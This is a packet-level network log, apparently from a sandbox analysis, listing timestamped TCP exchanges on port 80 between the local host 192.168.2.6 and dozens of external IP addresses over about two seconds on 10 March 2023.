Mar 10, 2023 07:54:49.090948105 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.090991020 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.091145992 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.093214989 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.093260050 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.093306065 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.093333960 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.093355894 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.093411922 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.093583107 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.093645096 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.093918085 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.093987942 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.094090939 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.094146013 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.096802950 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.096949100 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.109575987 CET	49872	80	192.168.2.6	143.204.9.43
Mar 10, 2023 07:54:49.126039028 CET	80	49870	208.109.214.162	192.168.2.6
Mar 10, 2023 07:54:49.126213074 CET	49870	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:49.129175901 CET	80	49872	143.204.9.43	192.168.2.6
Mar 10, 2023 07:54:49.129266024 CET	80	49872	143.204.9.43	192.168.2.6
Mar 10, 2023 07:54:49.129352093 CET	49872	80	192.168.2.6	143.204.9.43
Mar 10, 2023 07:54:49.197958946 CET	80	49871	172.67.72.98	192.168.2.6
Mar 10, 2023 07:54:49.198009968 CET	80	49871	172.67.72.98	192.168.2.6
Mar 10, 2023 07:54:49.198060989 CET	49871	80	192.168.2.6	172.67.72.98
Mar 10, 2023 07:54:49.198102951 CET	49871	80	192.168.2.6	172.67.72.98
Mar 10, 2023 07:54:49.222017050 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.222059011 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.222266912 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.222313881 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.226615906 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.226654053 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.226686954 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.226736069 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.235857010 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.235924959 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.236037970 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.245007038 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.245066881 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.245100975 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.245152950 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.254209995 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.254247904 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.254280090 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.254321098 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.263362885 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.263405085 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.263463020 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.263501883 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.272614002 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.272656918 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.272711992 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.272756100 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.278378010 CET	49874	80	192.168.2.6	137.118.26.67
Mar 10, 2023 07:54:49.281898975 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.281949997 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.281999111 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.281999111 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.284317017 CET	49875	80	192.168.2.6	104.21.23.9
Mar 10, 2023 07:54:49.285320997 CET	49876	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:49.291027069 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.291064024 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.291205883 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.291244984 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.300246000 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.300297022 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.300328970 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.300410986 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.300890923 CET	80	49875	104.21.23.9	192.168.2.6
Mar 10, 2023 07:54:49.300977945 CET	49875	80	192.168.2.6	104.21.23.9
Mar 10, 2023 07:54:49.303018093 CET	80	49873	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:49.303131104 CET	49873	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:49.304495096 CET	80	49876	192.124.249.20	192.168.2.6
Mar 10, 2023 07:54:49.304656982 CET	49876	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:49.347394943 CET	49875	80	192.168.2.6	104.21.23.9
Mar 10, 2023 07:54:49.353146076 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.353209019 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.353270054 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.353270054 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.355302095 CET	49876	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:49.357696056 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.357744932 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.357800961 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.357856035 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.358740091 CET	49877	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:49.359289885 CET	49878	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:49.359432936 CET	49879	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:49.364008904 CET	80	49875	104.21.23.9	192.168.2.6
Mar 10, 2023 07:54:49.365597963 CET	49880	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:49.366786957 CET	80	49868	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:49.366858006 CET	49868	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:49.374644995 CET	80	49876	192.124.249.20	192.168.2.6
Mar 10, 2023 07:54:49.374835014 CET	80	49876	192.124.249.20	192.168.2.6
Mar 10, 2023 07:54:49.374938011 CET	49876	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:49.375283957 CET	80	49875	104.21.23.9	192.168.2.6
Mar 10, 2023 07:54:49.375416040 CET	49875	80	192.168.2.6	104.21.23.9
Mar 10, 2023 07:54:49.388854027 CET	80	49877	80.93.82.33	192.168.2.6
Mar 10, 2023 07:54:49.388978958 CET	49877	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:49.465075016 CET	80	49879	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:49.465188980 CET	49879	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:49.495132923 CET	49873	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:49.510618925 CET	80	49880	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:49.510704041 CET	49880	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:49.606187105 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:49.606244087 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:49.606430054 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:49.606477976 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:49.616540909 CET	49881	80	192.168.2.6	210.140.73.39
Mar 10, 2023 07:54:49.633014917 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:49.633116007 CET	49878	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:49.639619112 CET	49882	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:54:49.730061054 CET	80	49882	93.187.206.66	192.168.2.6
Mar 10, 2023 07:54:49.730168104 CET	49882	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:54:49.731134892 CET	49882	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:54:49.741476059 CET	49883	80	192.168.2.6	198.100.146.220
Mar 10, 2023 07:54:49.780019045 CET	80	49873	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:49.781544924 CET	80	49873	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:49.781624079 CET	49873	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:49.805876970 CET	49873	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:49.824534893 CET	80	49882	93.187.206.66	192.168.2.6
Mar 10, 2023 07:54:49.824589968 CET	80	49882	93.187.206.66	192.168.2.6
Mar 10, 2023 07:54:49.824671984 CET	49882	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:54:49.846110106 CET	49880	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:49.846271038 CET	49878	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:49.846864939 CET	49877	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:49.846940994 CET	49879	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:49.848341942 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:49.850224972 CET	49876	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:49.856973886 CET	49841	80	192.168.2.6	64.125.133.18
Mar 10, 2023 07:54:49.869775057 CET	80	49876	192.124.249.20	192.168.2.6
Mar 10, 2023 07:54:49.869895935 CET	49876	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:49.877521038 CET	80	49877	80.93.82.33	192.168.2.6
Mar 10, 2023 07:54:49.877726078 CET	49877	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:49.906985998 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:49.952514887 CET	80	49879	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:49.954185963 CET	80	49879	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:49.954292059 CET	49879	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:49.959033966 CET	49877	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:49.990396023 CET	80	49877	80.93.82.33	192.168.2.6
Mar 10, 2023 07:54:49.990514040 CET	49877	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:50.000303030 CET	80	49880	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:50.000369072 CET	80	49880	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:50.000437021 CET	49880	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:50.001449108 CET	49880	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:50.037833929 CET	49880	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:50.063072920 CET	49879	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:50.079901934 CET	49885	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:50.089351892 CET	80	49873	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:50.091124058 CET	80	49873	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:50.091247082 CET	49873	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:50.121124029 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:50.121196985 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:50.121231079 CET	49878	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:50.121256113 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:50.121320009 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:50.121368885 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:50.121418953 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:50.121468067 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:50.121529102 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:50.121555090 CET	49878	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:50.121578932 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:50.121629000 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:50.121697903 CET	49878	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:50.121747017 CET	49878	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:50.139373064 CET	49887	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:50.150614977 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.150800943 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.151276112 CET	49888	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:50.152896881 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.156260967 CET	80	49887	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:50.156338930 CET	49887	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:50.156900883 CET	49887	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:50.169910908 CET	80	49888	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:50.170011997 CET	80	49879	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:50.170084000 CET	49888	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:50.170167923 CET	49879	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:50.173537016 CET	80	49887	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:50.178642988 CET	49888	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:50.183888912 CET	80	49880	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:50.188525915 CET	49889	80	192.168.2.6	172.67.73.176
Mar 10, 2023 07:54:50.190783024 CET	80	49887	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:50.190834045 CET	49890	80	192.168.2.6	185.15.129.58
Mar 10, 2023 07:54:50.190895081 CET	49887	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:50.197201014 CET	80	49888	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:50.200530052 CET	80	49888	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:50.200681925 CET	49888	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:50.205235004 CET	80	49889	172.67.73.176	192.168.2.6
Mar 10, 2023 07:54:50.205391884 CET	49889	80	192.168.2.6	172.67.73.176
Mar 10, 2023 07:54:50.225100994 CET	80	49885	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:50.225372076 CET	49885	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:50.242371082 CET	49886	80	192.168.2.6	96.91.204.114
Mar 10, 2023 07:54:50.277215958 CET	49889	80	192.168.2.6	172.67.73.176
Mar 10, 2023 07:54:50.295337915 CET	80	49889	172.67.73.176	192.168.2.6
Mar 10, 2023 07:54:50.305551052 CET	80	49889	172.67.73.176	192.168.2.6
Mar 10, 2023 07:54:50.305706978 CET	49889	80	192.168.2.6	172.67.73.176
Mar 10, 2023 07:54:50.331589937 CET	49885	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:50.387320995 CET	49889	80	192.168.2.6	172.67.73.176
Mar 10, 2023 07:54:50.395551920 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:50.395736933 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:50.395853996 CET	49878	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:50.408426046 CET	80	49889	172.67.73.176	192.168.2.6
Mar 10, 2023 07:54:50.408536911 CET	49889	80	192.168.2.6	172.67.73.176
Mar 10, 2023 07:54:50.455254078 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.462826967 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.462891102 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.462934017 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.462963104 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.462994099 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.463011980 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.463037014 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.463066101 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.463087082 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.463115931 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.463124990 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.463161945 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.463171005 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.463203907 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.463219881 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.463243961 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.463258982 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.463299990 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.479480028 CET	80	49885	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:50.479528904 CET	80	49885	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:50.479593039 CET	49885	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:50.479631901 CET	49885	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:50.505839109 CET	49885	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:50.592814922 CET	49891	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:50.650191069 CET	80	49885	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:50.721174002 CET	49892	80	192.168.2.6	216.58.215.243
Mar 10, 2023 07:54:50.737879992 CET	80	49892	216.58.215.243	192.168.2.6
Mar 10, 2023 07:54:50.737987995 CET	49892	80	192.168.2.6	216.58.215.243
Mar 10, 2023 07:54:50.746685982 CET	49893	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:50.747385025 CET	49892	80	192.168.2.6	216.58.215.243
Mar 10, 2023 07:54:50.763922930 CET	80	49892	216.58.215.243	192.168.2.6
Mar 10, 2023 07:54:50.765414953 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.765461922 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.765496016 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.765506029 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.765532017 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.765557051 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.765582085 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.765592098 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.765625954 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.765677929 CET	80	49884	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:50.765702963 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.765750885 CET	49884	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:50.782639027 CET	80	49893	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:50.782795906 CET	49893	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:50.803257942 CET	80	49891	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:50.803375959 CET	49891	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:50.846218109 CET	49893	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:50.846833944 CET	49891	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:50.847532988 CET	49894	80	192.168.2.6	52.86.6.113
Mar 10, 2023 07:54:50.847636938 CET	49895	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:50.849961042 CET	49896	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:50.864320993 CET	80	49895	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:50.865089893 CET	49895	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:50.868326902 CET	49895	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:50.878177881 CET	80	49892	216.58.215.243	192.168.2.6
Mar 10, 2023 07:54:50.878468037 CET	49892	80	192.168.2.6	216.58.215.243
Mar 10, 2023 07:54:50.882515907 CET	80	49893	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:50.884049892 CET	80	49893	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:50.884135008 CET	49893	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:50.884903908 CET	80	49895	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:50.906805038 CET	80	49895	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:50.906861067 CET	80	49895	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:50.906930923 CET	49895	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:50.906946898 CET	80	49895	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:50.906985998 CET	49895	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:50.906997919 CET	49895	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:50.907027006 CET	80	49895	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:50.907087088 CET	49895	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:50.907088041 CET	80	49895	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:50.907126904 CET	80	49895	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:50.907181978 CET	80	49895	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:50.907183886 CET	49895	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:50.907212973 CET	80	49895	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:50.907257080 CET	49895	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:50.907275915 CET	80	49895	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:50.907335043 CET	49895	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:50.907335043 CET	49895	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:50.951185942 CET	49895	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:50.952009916 CET	49893	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:50.971312046 CET	80	49895	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:50.991642952 CET	80	49893	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:50.991769075 CET	49893	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:50.995891094 CET	80	49894	52.86.6.113	192.168.2.6
Mar 10, 2023 07:54:50.996030092 CET	49894	80	192.168.2.6	52.86.6.113
Mar 10, 2023 07:54:51.034590006 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:51.034720898 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:51.053075075 CET	49894	80	192.168.2.6	52.86.6.113
Mar 10, 2023 07:54:51.057306051 CET	80	49891	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:51.116878986 CET	80	49896	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:51.116988897 CET	49896	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:51.132479906 CET	49896	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:51.134407997 CET	80	49835	202.254.236.40	192.168.2.6
Mar 10, 2023 07:54:51.134516954 CET	49835	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:51.152494907 CET	49897	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:51.183993101 CET	49898	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:51.186995983 CET	80	49897	89.161.163.246	192.168.2.6
Mar 10, 2023 07:54:51.187187910 CET	49897	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:51.187503099 CET	49897	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:51.190186977 CET	49899	80	192.168.2.6	99.83.154.118
Mar 10, 2023 07:54:51.190730095 CET	49900	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:51.197005033 CET	80	49894	52.86.6.113	192.168.2.6
Mar 10, 2023 07:54:51.197062016 CET	80	49894	52.86.6.113	192.168.2.6
Mar 10, 2023 07:54:51.197118998 CET	49894	80	192.168.2.6	52.86.6.113
Mar 10, 2023 07:54:51.197118998 CET	49894	80	192.168.2.6	52.86.6.113
Mar 10, 2023 07:54:51.198285103 CET	49894	80	192.168.2.6	52.86.6.113
Mar 10, 2023 07:54:51.200388908 CET	80	49891	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:51.200493097 CET	49891	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:51.200609922 CET	80	49898	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:51.200685024 CET	49898	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:51.210751057 CET	80	49899	99.83.154.118	192.168.2.6
Mar 10, 2023 07:54:51.210890055 CET	49899	80	192.168.2.6	99.83.154.118
Mar 10, 2023 07:54:51.216372967 CET	80	49900	80.74.154.6	192.168.2.6
Mar 10, 2023 07:54:51.216479063 CET	49900	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:51.220505953 CET	80	49897	89.161.163.246	192.168.2.6
Mar 10, 2023 07:54:51.221143007 CET	80	49897	89.161.163.246	192.168.2.6
Mar 10, 2023 07:54:51.221175909 CET	80	49897	89.161.163.246	192.168.2.6
Mar 10, 2023 07:54:51.221206903 CET	49897	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:51.221245050 CET	49897	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:51.239888906 CET	49898	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:51.239949942 CET	49900	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:51.240212917 CET	49899	80	192.168.2.6	99.83.154.118
Mar 10, 2023 07:54:51.256680012 CET	80	49898	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:51.260984898 CET	80	49899	99.83.154.118	192.168.2.6
Mar 10, 2023 07:54:51.261038065 CET	80	49899	99.83.154.118	192.168.2.6
Mar 10, 2023 07:54:51.261115074 CET	49899	80	192.168.2.6	99.83.154.118
Mar 10, 2023 07:54:51.266330004 CET	80	49900	80.74.154.6	192.168.2.6
Mar 10, 2023 07:54:51.266381025 CET	80	49900	80.74.154.6	192.168.2.6
Mar 10, 2023 07:54:51.266437054 CET	49900	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:51.333539009 CET	80	49898	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:51.333585978 CET	80	49898	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:51.333620071 CET	80	49898	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:51.333631992 CET	49898	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:51.333683014 CET	49898	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:51.333683968 CET	49898	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:51.342571020 CET	80	49894	52.86.6.113	192.168.2.6
